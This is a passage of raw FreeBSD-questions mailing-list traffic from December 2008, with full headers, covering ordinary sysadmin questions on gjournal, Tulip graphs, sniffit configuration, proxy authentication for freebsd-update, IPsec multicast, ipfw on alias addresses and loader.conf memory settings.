<20081203145731.U47196@wojtek.tensor.gdynia.pl> References: <20081203134633.57adc024@baby-jane> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Don O'Neil , freebsd-questions@freebsd.org Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 13:58:09 -0000 >> what file system would you choose? What options are out there besides >> UFS and ZFS? What FS's are least likely to have corruption issues >> when there are power hits? > > May be UFS + gjournal. > I use gjournal since FreeBSD 7.0 and it seems to work fine. is it really smart enough to not write everything twice or am i wrong? From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 14:04:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E24EF1065672 for ; Wed, 3 Dec 2008 14:04:37 +0000 (UTC) (envelope-from kelly.terry.jones@gmail.com) Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.251]) by mx1.freebsd.org (Postfix) with ESMTP id 8157F8FC12 for ; Wed, 3 Dec 2008 14:04:36 +0000 (UTC) (envelope-from kelly.terry.jones@gmail.com) Received: by an-out-0708.google.com with SMTP id b6so1387468ana.13 for ; Wed, 03 Dec 2008 06:04:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type; bh=/gzHn1VL5Kkje2sLLGMIhSwHjRTadtIR9ewirO7C6Lc=; b=sHGhlhHwZTTlggiX3Vl2E45G2glVMonAi4Ss8mshrl0cfytJNY5VlUEtGT+T7m5wfB 6YmtE3v3GP8U1NqKDCgn9AGkRxIatiqSanDKKSnyToDM5yLC2WueCphj3RnRBaNJpsgC 0zxDyTkNQ5EqGQYFTDqzhJZgxs00Z1tt0KEDU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type; b=KgPcJnWB68Psh2X/nHw/Ei0QZvrhddJ56gHzhOFLkDqECAXCqh+tB2MckOkCpbMtfd 7gPrtabdOa6yq9cQ1OwkPZ04lIFgnKLL+C6f3BXjbVjHr9AX6e9VgPhnV1uk4xT7MHiL gxsz+7xEELgA/+J/Q1kzr/KfPovgv4G9VK9gI= Received: by 10.100.126.15 with SMTP id y15mr7634394anc.38.1228313075609; Wed, 03 Dec 2008 06:04:35 -0800 (PST) Received: by 10.100.163.3 with HTTP; Wed, 3 Dec 2008 06:04:35 -0800 (PST) Message-ID: <26face530812030604k374e9d2bwb459c49b5e2d9de5@mail.gmail.com> Date: Wed, 3 Dec 2008 07:04:35 -0700 From: "Kelly Jones" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_Part_3147_15370575.1228313075590" Subject: Basic Tulip questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 14:04:38 -0000 ------=_Part_3147_15370575.1228313075590 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline I just installed Tulip on my FreeBSD server. The server has X11 installed, but isn't running it. I asked the questions below to the Tulip list (auber-users@lists.sourceforge.net) earlier, but got no reply, so I was hoping someone here was familiar w/ it and could help me. Does Tulip have a command-line mode? Can Tulip recognize graphviz-generated graph files such as those attached? I couldn't find a way to load these into Tulip? My experience has been w/ graphviz, and my goal is to create planar graphs from various data sources. Graphviz does this, but the resulting graphs tend to (ironically) have both overlapping nodes (boxes too close to each other) AND excessive space between nodes (the graphs could be a lot more compact). In some cases, graphviz creates unnecessarily huge (eg, 32768x32768) GIF files for fairly simple graphs. I'm hoping Tulip will automatically draw fairly nice graphs + have options that let me make them look even nicer, ideally from the command-line. -- We're just a Bunch Of Regular Guys, a collective group that's trying to understand and assimilate technology. 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0.95.0 Sender: news Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 14:05:33 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig7FA172A11A283AB2792B9B1F Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Wojciech Puchar wrote: >>> what file system would you choose? What options are out there besides= >>> UFS and ZFS? What FS's are least likely to have corruption issues >>> when there are power hits? >> >> May be UFS + gjournal. >> I use gjournal since FreeBSD 7.0 and it seems to work fine. > is it really smart enough to not write everything twice or am i wrong? It writes everything twice :) (but every journaling system has to write something twice) --------------enig7FA172A11A283AB2792B9B1F Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJNpIdldnAQVacBcgRAjfnAKCOgGqPiqHRwuxdfMh2jVSy1D4pIACeLHIX eJUY5GpioN/FbstNhm6SeMo= =j8kp -----END PGP SIGNATURE----- --------------enig7FA172A11A283AB2792B9B1F-- From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 14:19:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E1FC1065672 for ; Wed, 3 Dec 2008 14:19:06 +0000 (UTC) (envelope-from kelly.terry.jones@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.28]) by mx1.freebsd.org (Postfix) with ESMTP id E9C678FC20 for ; Wed, 3 Dec 2008 14:19:05 +0000 (UTC) (envelope-from kelly.terry.jones@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1463904ywe.13 for ; Wed, 03 Dec 2008 06:19:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=SQj1Ye9zQSre5JFOlWwPNnqYzcBMrLvVT+eBRk8jxrs=; b=WLkDzf/31UacLQckEnVCE/4t9pQewZdy+8wzA0esq5CzdNXKymDv38WRgzav4653oZ w6Lroe/3vrmhnxLqmJyXfOXmCAqO/eycivhJyFMfon8OkR+VspGysKq/lABvOBFh/lQX 7OihSMOBDZYowWW/Ans/NXzPNfHYDgUxlCBWg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=EFJdq4Do4BHdvMR0NX25dS9ZXcc6OBg2JSg9aZW8yjcQTE5rD0tspA7RaCI06kFt11 4H4D4w81znw7vsbCDU1jigePY2aEMYbtZ1kLjc8hPAJU9ihsjoD2k75+AHpmc9FLmHgs oSQ6Bmuh3TMEDJxY4AuLya7vzdqAFfD3XKgNs= Received: by 10.100.9.6 with SMTP id 6mr7624579ani.124.1228313945207; Wed, 03 Dec 2008 06:19:05 -0800 (PST) Received: by 10.100.163.3 with HTTP; Wed, 3 Dec 2008 06:19:05 -0800 (PST) Message-ID: <26face530812030619g30cf8624k1cdd5b619ae607e7@mail.gmail.com> Date: Wed, 3 Dec 2008 07:19:05 -0700 From: "Kelly Jones" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: sniffit requires config file? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 14:19:06 -0000 Whenever I use sniffit on a new machine, I have to create this conf file: select both mhosts 0 select both mhosts 1 select both mhosts 2 select both mhosts 3 select both mhosts 4 select both mhosts 5 select both mhosts 6 select both mhosts 7 select both mhosts 8 select both mhosts 9 Not a huge deal, but can I make sniffit sniff all packets w/o a conf file? -- We're just a Bunch Of Regular Guys, a collective group that's trying to understand and assimilate technology. We feel that resistance to new ideas and technology is unwise and ultimately futile. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 14:21:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3F3771065676; Wed, 3 Dec 2008 14:21:27 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id AB0D58FC1A; Wed, 3 Dec 2008 14:21:25 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB3ELJJg047304; Wed, 3 Dec 2008 15:21:19 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB3ELJxE047301; Wed, 3 Dec 2008 15:21:19 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Wed, 3 Dec 2008 15:21:19 +0100 (CET) From: Wojciech Puchar To: Ivan Voras In-Reply-To: Message-ID: <20081203152044.I47300@wojtek.tensor.gdynia.pl> References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 14:21:27 -0000 >>> I use gjournal since FreeBSD 7.0 and it seems to work fine. >> is it really smart enough to not write everything twice or am i wrong? > > It writes everything twice :) > > (but every journaling system has to write something twice) there is a big difference between something (metadata, short data writes and everything (like huge file data) From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 14:37:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C289E106567A for ; Wed, 3 Dec 2008 14:37:25 +0000 (UTC) (envelope-from alun.eyre@db.com) Received: from loninmrp8.uk.db.com (loninmrp8.uk.db.com [160.83.58.66]) by mx1.freebsd.org (Postfix) with ESMTP id 61F0A8FC12 for ; Wed, 3 Dec 2008 14:37:25 +0000 (UTC) (envelope-from alun.eyre@db.com) Received: from sdbo1103.uk.db.com (LONINMTP1103.uk.db.com [10.232.160.23]) by loninmrp8.uk.db.com (8.14.3/8.14.3) with ESMTP id mB3EP6dD000752 for ; Wed, 3 Dec 2008 14:25:06 GMT To: freebsd-questions@freebsd.org MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.5 CCH1 March 07, 2006 From: Alun Eyre Message-ID: Date: Wed, 3 Dec 2008 14:25:04 +0000 X-MIMETrack: Serialize by Router on sdbo1103/DMGUK/DeuBaInt/DeuBa(Release 6.5.6FP1 HF223|August 18, 2008) at 03/12/2008 14:25:06, Serialize complete at 03/12/2008 14:25:06 Content-Type: text/plain; charset="US-ASCII" X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: which version for an eee pc 901? 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From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 14:58:09 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 690881065675 for ; Wed, 3 Dec 2008 14:58:09 +0000 (UTC) (envelope-from kdk@daleco.biz) Received: from ezekiel.daleco.biz (southernuniform.com [66.76.92.18]) by mx1.freebsd.org (Postfix) with ESMTP id 196398FC20 for ; Wed, 3 Dec 2008 14:58:08 +0000 (UTC) (envelope-from kdk@daleco.biz) Received: from localhost (localhost [127.0.0.1]) by ezekiel.daleco.biz (8.14.2/8.14.2) with ESMTP id mB3Ew2dG098460; Wed, 3 Dec 2008 08:58:02 -0600 (CST) (envelope-from kdk@daleco.biz) X-Virus-Scanned: amavisd-new at daleco.biz Received: from ezekiel.daleco.biz ([127.0.0.1]) by localhost (ezekiel.daleco.biz [127.0.0.1]) (amavisd-new, port 10024) with LMTP id uMlJAI2C1W0Y; Wed, 3 Dec 2008 08:57:45 -0600 (CST) Received: from archangel.daleco.biz (ezekiel.daleco.biz [66.76.92.18]) by ezekiel.daleco.biz (8.14.2/8.14.2) with ESMTP id mB3EuwX3098434; Wed, 3 Dec 2008 08:57:00 -0600 (CST) (envelope-from kdk@daleco.biz) Message-ID: <49369E3A.8050305@daleco.biz> Date: Wed, 03 Dec 2008 08:56:58 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.16) Gecko/20080719 SeaMonkey/1.1.11 MIME-Version: 1.0 To: dino_vliet@yahoo.com References: <255166.65897.qm@web51106.mail.re2.yahoo.com> In-Reply-To: <255166.65897.qm@web51106.mail.re2.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 14:58:09 -0000 Dino Vliet wrote: > Hi people, > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error What does $file /usr/local/modules/fuse.ko say, and do you have Linux support built and enabled? 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From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 14:59:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7D4D91065678 for ; Wed, 3 Dec 2008 14:59:15 +0000 (UTC) (envelope-from fbsd06+4I=f88667b1@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by mx1.freebsd.org (Postfix) with ESMTP id 545558FC12 for ; Wed, 3 Dec 2008 14:59:15 +0000 (UTC) (envelope-from fbsd06+4I=f88667b1@mlists.homeunix.com) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 9B0E823E4A5; Wed, 3 Dec 2008 09:59:13 -0500 (EST) Date: Wed, 3 Dec 2008 14:59:10 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081203145910.0cab5963@gumby.homeunix.com> In-Reply-To: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> References: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: d.forsyth@ru.ac.za Subject: Re: freebsd-update through proxy with auth X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 14:59:15 -0000 On Wed, 03 Dec 2008 10:36:29 +0200 "DA Forsyth" wrote: > Hiya > > How do I get freebsd-update to fetch through a proxy that requires > authentication? I cannot find any options in the man pages. > have you tried putting it in the proxy name http://user:pass@server:port From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 15:28:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 205D11065670 for ; Wed, 3 Dec 2008 15:28:47 +0000 (UTC) (envelope-from nrml@att.net) Received: from web83803.mail.sp1.yahoo.com (web83803.mail.sp1.yahoo.com [69.147.85.69]) by mx1.freebsd.org (Postfix) with SMTP id 0C85E8FC08 for ; Wed, 3 Dec 2008 15:28:47 +0000 (UTC) (envelope-from nrml@att.net) Received: (qmail 95596 invoked by uid 60001); 3 Dec 2008 15:02:06 -0000 X-YMail-OSG: mdhUkSIVM1mivGd2pBfui.C0PSkq79QhsKBJemOBKksOwZixxIoBsc1qvV6vseI13CNck6vczXwbQVNa51uUSrds_azcc3XVL6wNmytwtJrSKS_Rv2A8R7xIrgYrWGsy3RulxFsQoev819SS9YS4C6lB Received: from [69.43.143.172] by web83803.mail.sp1.yahoo.com via HTTP; Wed, 03 Dec 2008 07:02:05 PST X-Mailer: YahooMailRC/1155.32 YahooMailWebService/0.7.218.2 Date: Wed, 3 Dec 2008 07:02:05 -0800 (PST) From: nrml nrml To: freebsd-questions@freebsd.org MIME-Version: 1.0 Message-ID: <11691.95194.qm@web83803.mail.sp1.yahoo.com> Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: IPSec + vpn + multicast X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 15:28:47 -0000 Hello, I followed the handbook instructions and the ipsec(4) man page to setup vpn-over-ipsec for our company's site-to-site connection via our dedicated T1. Anyway I have it working but I found that I need to make sure that multicast traffic can traverse through the two subnets. I have the following options in my kernel: FreeBSD somebox.domain.com 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #1: Fri Nov 21 08:11:47 PST 2008 root@somebox.domain.com:/usr/obj/usr/src/sysKERNEL i386 device crypto options IPSEC options IPSEC_FILTERTUNNEL options IPSEC_DEBUG #debug for IP Security options IPSEC_NAT_T ipsec-tools: # This file is auto-generated by 'make config'. # No user-servicable parts inside! # Options for ipsec-tools-0.7.1 _OPTIONS_READ=ipsec-tools-0.7.1 WITH_DEBUG=true WITH_IPV6=true WITHOUT_ADMINPORT=true WITHOUT_STATS=true WITH_DPD=true WITH_NATT=true WITH_NATTF=true WITH_FRAG=true WITH_HYBRID=true WITHOUT_PAM=true WITHOUT_RADIUS=true WITHOUT_LDAP=true WITHOUT_GSSAPI=true WITHOUT_SAUNSPEC=true WITH_RC5=true WITH_IDEA=true Does anyone know how I can accomplish this? The goal is to try and have transparency between the two sites to and try and get Bonjour working. Thanks for your help. --gabe From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 15:31:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 315A81065673 for ; Wed, 3 Dec 2008 15:31:37 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 83EB78FC13 for ; Wed, 3 Dec 2008 15:31:34 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB3FVU3q047584 for ; Wed, 3 Dec 2008 16:31:30 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB3FVTZp047581 for ; Wed, 3 Dec 2008 16:31:30 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Wed, 3 Dec 2008 16:31:29 +0100 (CET) From: Wojciech Puchar To: freebsd-questions@freebsd.org Message-ID: <20081203163047.B47567@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: cvs stupid question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 15:31:37 -0000 i try export CVSROOT=freebsdanoncvs@anoncvs.FreeBSD.org:/home/ncvs cvs checkout -rRELENG_7 src waited over an hour, no files got fetched what i'm doing wrong? From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 15:57:23 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 846561065672 for ; Wed, 3 Dec 2008 15:57:23 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from sola.nimnet.asn.au (paqi.nimnet.asn.au [220.233.188.227]) by mx1.freebsd.org (Postfix) with ESMTP id CF5078FC18 for ; Wed, 3 Dec 2008 15:57:22 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from localhost (localhost [127.0.0.1]) by sola.nimnet.asn.au (8.14.2/8.14.2) with ESMTP id mB3FvL2d070229; Thu, 4 Dec 2008 02:57:21 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Thu, 4 Dec 2008 02:57:21 +1100 (EST) From: Ian Smith To: Brett Davidson In-Reply-To: <4934534D.1060100@net24.co.nz> Message-ID: <20081204012026.O60430@sola.nimnet.asn.au> References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> <4934534D.1060100@net24.co.nz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: questions@freebsd.org Subject: Re: Is there anything weird I should know about using ipfw on alias addresses? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 15:57:23 -0000 On Tue, 2 Dec 2008, Brett Davidson wrote: > Ian Smith wrote: > > On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson > > wrote: > > > > > ifconfig shows the alias addresses correctly bound. > > > Creating an ipfw rule and testing it from the command line works > > > (connects out from master address, not alias) > > > > From website on alias address, the firewall blocks the packets. > > > > > > The weird thing is that it tags them (in the security log) as coming > > > from the master address (not the alias) out the correct interface. In a > > > normal world that would mean the packet would match!!!!! > > > > What's goin' on here Willis? > > > > Difficult to tell without seeing a) ifconfig b) netstat -rn c) at least the > > relevant firewall rule/s and d) log entries that illustrate your problem. > > Obscure sensitive information by all means, but otherwise pretend we > > haven't the slightest clue how your system is configured :) > > Fair enough. > > ifconfig below: > > bce1: flags=8843 mtu 1500 > options=3b > inet 210.5.50.5 netmask 0xffffffe0 broadcast 210.5.50.31 NB .. > inet 210.5.51.32 netmask 0xffffffff broadcast 210.5.51.32 > inet 210.5.51.27 netmask 0xffffffff broadcast 210.5.51.27 > inet 210.5.51.33 netmask 0xffffffff broadcast 210.5.51.33 > inet 210.5.51.34 netmask 0xffffffff broadcast 210.5.51.34 > inet 210.5.51.42 netmask 0xffffffff broadcast 210.5.51.42 > inet 210.5.51.4 netmask 0xffffffff broadcast 210.5.51.4 > ether 00:1c:c4:c0:56:94 > media: Ethernet autoselect (1000baseSX ) > status: active > > Relevant /etc/rc.conf entries : > ifconfig_bce1="inet 210.5.50.5 netmask 255.255.255.224" > ifconfig_bce1_alias0="inet 210.5.50.5 netmask 255.255.255.224" Your first alias here is a repeat of the 'primary' address. ifonfig seems to have resolved/merged that above, but it's not an alias. > ifconfig_bce1_alias1="inet 210.5.51.4 netmask 255.255.255.255" > ifconfig_bce1_alias2="inet 210.5.51.27 netmask 255.255.255.255" > ifconfig_bce1_alias3="inet 210.5.51.32 netmask 255.255.255.255" > ifconfig_bce1_alias4="inet 210.5.51.33 netmask 255.255.255.255" > ifconfig_bce1_alias5="inet 210.5.51.34 netmask 255.255.255.255" > ifconfig_bce1_alias6="inet 210.5.51.42 netmask 255.255.255.255" I didn't spot on first reading this that the first address is in a different subnet than all the others. I'm not entirely sure whether that's relevant, or how, just pointing it out as being non-obvious, and suspecting one of the 210.5.51 subnet should show a broader netmask. > Relevant ipfw rules : > ipfw -q add 02012 allow tcp from any to 208.69.123.164 80 out via bce1 setup > keep-state > ipfw -q add 02012 allow tcp from any to 208.69.123.164 443 out via bce1 setup > keep-state netstat -finet -rn (or -rna) please? unclear where your default route goes, or how the 210.5.51 subnet is routed or its netmask, but assume that 208.69.123.164 is probably accessed via the default route .. > Interesting entries in /var/log/security : > Dec 1 16:42:25 kernel: ipfw: 9999 Deny TCP 210.5.50.5:49708 > 208.69.123.164:80 out via bce1 Did that occur =after= the above rules were installed? Just the one? Seems odd on face value, but without knowing what your other rules do. > What makes this interesting is that I can connect to that port via the > command line. You mean like with 'telnet 208.69.123.164 80' ? With 210.5.50.5 as source address? tcpdump output may help understand or explain this. > It's the website that lives on 210.5.51.42 that is having problems. Why, if > the rule is valid enough for the command line is it having problems from an > aliased address? Hang on; do you mean you're having a webserver on 210.5.51.42 trying to connect out to another webserver on 208.69.123.164 ? If not, what? I guess you have rules allowing inbound port 80 access to 210.5.51.42 ? And that your upstream is routing 210.5.51.42/something to 210.5.50.5 ? > This MUST have something to do with the way ipfw is working with aliased > addresses but I'm blowed if I know what is wrong. ipfw doesn't do anything different with any address in particular except when using the forward action. ipfw certainly has no concept of primary or alias addresses, it just applies the addresses/masks you specify. Nor does ipfw know or care (even when forwarding) whence the stack is next going to route outbound packets .. but netstat -rn will tell us. cheers, Ian From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 16:12:20 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E284106564A for ; Wed, 3 Dec 2008 16:12:20 +0000 (UTC) (envelope-from weldon@excelsus.com) Received: from mx0.excelsus.net (emmett.excelsus.com [74.93.113.252]) by mx1.freebsd.org (Postfix) with ESMTP id D27F48FC12 for ; Wed, 3 Dec 2008 16:12:19 +0000 (UTC) (envelope-from weldon@excelsus.com) Received: (qmail 12090 invoked by uid 89); 3 Dec 2008 15:45:25 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by localhost.excelsus.com with SMTP; 3 Dec 2008 15:45:25 -0000 Date: Wed, 3 Dec 2008 10:45:25 -0500 (EST) From: Weldon S Godfrey 3 To: freebsd-questions@freebsd.org Message-ID: <20081203103803.V43611@emmett.excelsus.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: loader.conf issues X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 16:12:20 -0000 I did a quick search for this and didn't see anyone seeing this. I am running 7.0-PRERELEASE amd64 This is my loader.conf: vm.kmem_size_max="16106127360" vm.kmem_size="1073741824" kern.maxvnodes="800000" However, this is what happens after reboot: store1# sysctl -a | grep kmem vm.kmem_size_scale: 3 vm.kmem_size_max: 3221225472 vm.kmem_size_min: 0 vm.kmem_size: 1073741824 store1# sysctl -a | grep kern.maxvn kern.maxvnodes: 100000 store1# Is there some issue with vm.kmem_size_max being larger than 3G? If this has been fixed, let me know. I am using 7.0-RELEASE loader from amd64 iso since for some reason, when I complile a new loader on this Dell 2950-iii, I get an unusable loader (it just hangs before the screen to select safe mode, single user mode, etc). Thanks, Weldon From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 16:59:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E884C1065676 for ; Wed, 3 Dec 2008 16:59:11 +0000 (UTC) (envelope-from raggen@passagen.se) Received: from av8-1-sn3.vrr.skanova.net (av8-1-sn3.vrr.skanova.net [81.228.9.183]) by mx1.freebsd.org (Postfix) with ESMTP id A93DB8FC18 for ; Wed, 3 Dec 2008 16:59:11 +0000 (UTC) (envelope-from raggen@passagen.se) Received: by av8-1-sn3.vrr.skanova.net (Postfix, from userid 502) id 6002B380A5; Wed, 3 Dec 2008 17:37:43 +0100 (CET) Received: from smtp3-2-sn3.vrr.skanova.net (smtp3-2-sn3.vrr.skanova.net [81.228.9.102]) by av8-1-sn3.vrr.skanova.net (Postfix) with ESMTP id 4558038053 for ; Wed, 3 Dec 2008 17:37:43 +0100 (CET) Received: from [192.168.1.31] 